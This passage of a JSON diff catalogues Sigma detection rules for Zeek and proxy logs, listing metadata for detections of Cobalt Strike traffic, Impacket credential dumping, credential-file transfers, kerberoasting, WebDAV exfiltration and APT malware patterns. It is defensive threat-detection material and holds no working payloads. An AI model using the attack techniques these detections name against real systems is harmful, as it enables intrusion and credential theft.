"zeek_dce_rpc_smb_spoolss_named_pipe.yml", + "author": "OTR (Open Threat Research), @neu5ron", + "level": "medium", + "falsepositive": [ + "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", + "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118", + "value": "Default Cobalt Strike Certificate", + "meta": { + "refs": [ + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.s0154" + ], + "creation_date": "2021/06/23", + "filename": "zeek_default_cobalt_strike_certificate.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", + "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19", + "value": "DNS Events Related To Mining Pools", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml" + ], + "tags": [ + "attack.t1569.002", + "attack.t1496" + ], + "creation_date": "2021/08/19", + "filename": "zeek_dns_mining_pools.yml", + "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", + "level": "low", + "falsepositive": [ + "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", + "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", + "value": "New Kind of Network (NKN) Detection", + "meta": { + "refs": [ + "https://github.com/nknorg/nkn-sdk-go", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://github.com/Maka8ka/NGLite", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2022/04/21", + "filename": "zeek_dns_nkn.yml", + "author": "Michael Portera (@mportatoes)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", + "uuid": "ede05abc-2c9e-4624-9944-9ff17fdc0bf5", + "value": "Suspicious DNS Z Flag Bit Set", + "meta": { + "refs": [ + "https://twitter.com/neu5ron/status/1346245602502443009", + "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", + "https://tools.ietf.org/html/rfc2929#section-2.1", + "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" + ], + "tags": [ + "attack.t1095", + "attack.t1571", + "attack.command_and_control" + ], + "creation_date": "2021/05/04", + "filename": "zeek_dns_susp_zbit_flag.yml", + "author": "@neu5ron, SOC Prime Team, Corelight", + "level": "medium", + "falsepositive": [ + "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", + "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", + "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5", + "value": "DNS TOR Proxies", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml" + ], + "tags": [ + "attack.t1048" + ], + "creation_date": "2021/08/15", + "filename": "zeek_dns_torproxy.yml", + "author": "Saw Winn Naung , Azure-Sentinel", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", + "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf", + "value": "Executable from Webdav", + "meta": { + "refs": [ + "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", + "https://github.com/OTRF/detection-hackathon-apt29", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/05/01", + "filename": "zeek_http_executable_download_from_webdav.yml", + "author": "SOC Prime, Adam Swan", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", + "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b", + "value": "OMIGOD HTTP No Authentication RCE", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://twitter.com/neu5ron/status/1438987292971053057?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.lateral_movement", + "attack.t1068", + "attack.t1190", + "attack.t1203", + "attack.t1021.006", + "attack.t1210" + ], + "creation_date": "2021/09/20", + "filename": "zeek_http_omigod_no_auth_rce.yml", + "author": "Nate Guagenti (neu5ron)", + "level": "high", + "falsepositive": [ + "Exploits that were attempted but unsuccessful.", + "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", + "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b", + "value": "WebDav Put Request", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/17", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2020/05/02", + "filename": "zeek_http_webdav_put_request.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", + "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623", + "value": "Publicly Accessible RDP Service", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1021/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" + ], + "tags": [ + "attack.t1021.001" + ], + "creation_date": "2020/08/22", + "filename": "zeek_rdp_public_listener.yml", + "author": "Josh Brower @DefensiveDepth", + "level": "high", + "falsepositive": [ + "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", + "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5", + "value": "Remote Task Creation via ATSVC Named Pipe - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_atsvc_task.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "car.2013-05-004", + "car.2015-04-001", + "attack.t1053.002" + ], + "creation_date": "2020/04/03", + "filename": "zeek_smb_converted_win_atsvc_task.yml", + "author": "Samir Bousseaden, @neu5rn", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", + "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e", + "value": "Possible Impacket SecretDump Remote Activity - Zeek", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.003" + ], + "creation_date": "2020/03/19", + "filename": "zeek_smb_converted_win_impacket_secretdump.yml", + "author": "Samir Bousseaden, @neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", + "uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb", + "value": "First Time Seen Remote Named Pipe - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_lm_namedpipe.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_lm_namedpipe.yml", + "author": "Samir Bousseaden, @neu5ron, Tim Shelton", + "level": "high", + "falsepositive": [ + "Update the excluded named pipe to filter out any newly observed legit named pipe" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", + "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166", + "value": "Suspicious PsExec Execution - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_susp_psexec.yml", + "author": "Samir Bousseaden, @neu5ron, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects known sensitive file extensions via Zeek", + "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc", + "value": "Suspicious Access to Sensitive File Extensions - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml" + ], + "tags": [ + "attack.collection" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", + "author": "Samir Bousseaden, @neu5ron", + "level": "medium", + "falsepositive": [ + "Help Desk operator doing backup or re-imaging end user machine or backup software", + "Users working with these data types or exchanging message files" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", + "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5", + "value": "Transferring Files with Credential Data via Network Shares - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.001", + "attack.t1003.003" + ], + "creation_date": "2020/04/02", + "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml", + "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Transferring sensitive files for legitimate administration work by legitimate administrator" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", + "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5", + "value": "Kerberos Network Traffic RC4 Ticket Encryption", + "meta": { + "refs": [ + "https://adsecurity.org/?p=3458", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2020/02/12", + "filename": "zeek_susp_kerberos_rc4.yml", + "author": "sigma", + "level": "medium", + "falsepositive": [ + "Normal enterprise SPN requests activity" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detect update check performed by Advanced IP Scanner and Advanced Port Scanner", + "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", + "value": "Advanced IP/Port Scanner Update Check", + "meta": { + "refs": [ + "https://www.advanced-ip-scanner.com/", + "https://www.advanced-port-scanner.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1590" + ], + "creation_date": "2022/08/14", + "filename": "proxy_adv_ip_port_scanner_upd_check.yml", + "author": "Axel Olsson", + "level": "medium", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent string of APT40 Dropbox tool", + "uuid": "5ba715b6-71b7-44fd-8245-f66893e81b3d", + "value": "APT40 Dropbox Tool User Agent", + "meta": { + "refs": [ + "Internal research from Florian Roth", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2019/11/12", + "filename": "proxy_apt40.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Old browsers" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", + "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", + "value": "Domestic Kitten FurBall Malware Pattern", + "meta": { + "refs": [ + "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2021/02/08", + "filename": "proxy_apt_domestic_kitten.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Baby Shark C2 Framework communication patterns", + "uuid": "304810ed-8853-437f-9e36-c4975c3dfd7e", + "value": "BabyShark Agent Pattern", + "meta": { + "refs": [ + "https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_baby_shark.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2021/06/09", + "filename": "proxy_baby_shark.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects HTTP requests used by Chafer malware", + "uuid": "fb502828-2db0-438e-93e6-801c7548686d", + "value": "Chafer Malware URL Pattern", + "meta": { + "refs": [ + "https://securelist.com/chafer-used-remexi-malware/89538/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_chafer_malware.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/01/31", + "filename": "proxy_chafer_malware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Malleable Amazon Profile", + "uuid": "953b895e-5cc9-454b-b183-7f3db555452e", + "value": "CobaltStrike Malleable Amazon Browsing Traffic Profile", + "meta": { + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", + "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_cobalt_amazon.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", + "uuid": "41b42a36-f62c-4c34-bd40-8cb804a34ad8", + "value": "CobaltStrike Malformed UAs in Malleable Profiles", + "meta": { + "refs": [ + "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2021/05/06", + "filename": "proxy_cobalt_malformed_uas.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", + "uuid": "37325383-740a-403d-b1a2-b2b4ab7992e7", + "value": "CobaltStrike Malleable (OCSP) Profile", + "meta": { + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_cobalt_ocsp.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Malleable OneDrive Profile", + "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc", + "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile", + "meta": { + "refs": [ + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_cobalt_onedrive.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects WebDav DownloadCradle", + "uuid": "e09aed7a-09e0-4c9a-90dd-f0d52507347e", + "value": "Windows WebDAV User Agent", + "meta": { + "refs": [ + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_downloadcradle_webdav.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2018/04/06", + "filename": "proxy_downloadcradle_webdav.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative scripts that download files from the Internet", + "Administrative scripts that retrieve certain website contents", + "Legitimate WebDAV administration" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", + "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c", + "value": "Download from Suspicious Dyndns Hosts", + "meta": { + "refs": [ + "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_dyndns.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1105", + "attack.t1568" + ], + "creation_date": "2017/11/08", + "filename": "proxy_download_susp_dyndns.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Software downloads" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects download of certain file types from hosts in suspicious TLDs", + "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", + "value": "Download from Suspicious TLD", + "meta": { + "refs": [ + "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", + "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", + "https://www.spamhaus.org/statistics/tlds/", + "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566", + "attack.execution", + "attack.t1203", + "attack.t1204.002" + ], + "creation_date": "2017/11/07", + "filename": "proxy_download_susp_tlds_blacklist.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "All kinds of software downloads" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects executable downloads from suspicious remote systems", + "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe", + "value": "Download EXE from Suspicious TLD", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_whitelist.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566", + "attack.execution", + "attack.t1203", + "attack.t1204.002" + ], + "creation_date": "2017/03/13", + "filename": "proxy_download_susp_tlds_whitelist.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "All kind of software downloads" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects user agent and URI paths used by empire agents", + "uuid": "b923f7d6-ac89-4a50-a71a-89fb846b4aa8", + "value": "Empire UserAgent URI Combo", + "meta": { + "refs": [ + "https://github.com/BC-SECURITY/Empire", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empire_ua_uri_combos.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2020/07/13", + "filename": "proxy_empire_ua_uri_combos.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Valid requests with this exact user agent to server scripts of the defined names" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious empty user agent strings in proxy logs", + "uuid": "21e44d78-95e7-421b-a464-ffd8395659c4", + "value": "Empty User Agent", + "meta": { + "refs": [ + "https://twitter.com/Carlos_Perez/status/883455096645931008", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_empty_ua.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects URL pattern used by iOS Implant", + "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", + "value": "iOS Implant URL Pattern", + "meta": { + "refs": [ + "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", + "https://twitter.com/craiu/status/1167358457344925696", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.collection", + "attack.t1005", + "attack.t1119", + "attack.credential_access", + "attack.t1528", + "attack.t1552.001" + ], + "creation_date": "2019/08/30", + "filename": "proxy_ios_implant.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", + "uuid": "53c15703-b04c-42bb-9055-1937ddfb3392", + "value": "Java Class Proxy Download", + "meta": { + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_java_class_download.yml" + ], + "tags": [ + "attack.initial_access" + ], + "creation_date": "2021/12/21", + "filename": "proxy_java_class_download.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Windows PowerShell Web Access", + "uuid": "c8557060-9221-4448-8794-96320e6f3e74", + "value": "Windows PowerShell User Agent", + "meta": { + "refs": [ + "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_powershell_ua.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/03/13", + "filename": "proxy_powershell_ua.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Administrative scripts that download files from the Internet", + "Administrative scripts that retrieve certain website contents" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", + "uuid": "2b1ee7e4-89b6-4739-b7bb-b811b6607e5e", + "value": "PwnDrp Access", + "meta": { + "refs": [ + "https://breakdev.org/pwndrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.001", + "attack.t1102.003" + ], + "creation_date": "2020/04/15", + "filename": "proxy_pwndrop.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", + "uuid": "5468045b-4fcc-4d1a-973c-c9c9578edacb", + "value": "Raw Paste Service Access", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/domain/paste.ee/relations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_raw_paste_service_access.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.001", + "attack.t1102.003", + "attack.defense_evasion" + ], + "creation_date": "2019/12/05", + "filename": "proxy_raw_paste_service_access.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a flashplayer update from an unofficial location", + "uuid": "4922a5dd-6743-4fc2-8e81-144374280997", + "value": "Flash Player Update from Suspicious Location", + "meta": { + "refs": [ + "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1189", + "attack.execution", + "attack.t1204.002", + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2017/10/25", + "filename": "proxy_susp_flash_download_loc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown flash download locations" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", + "uuid": 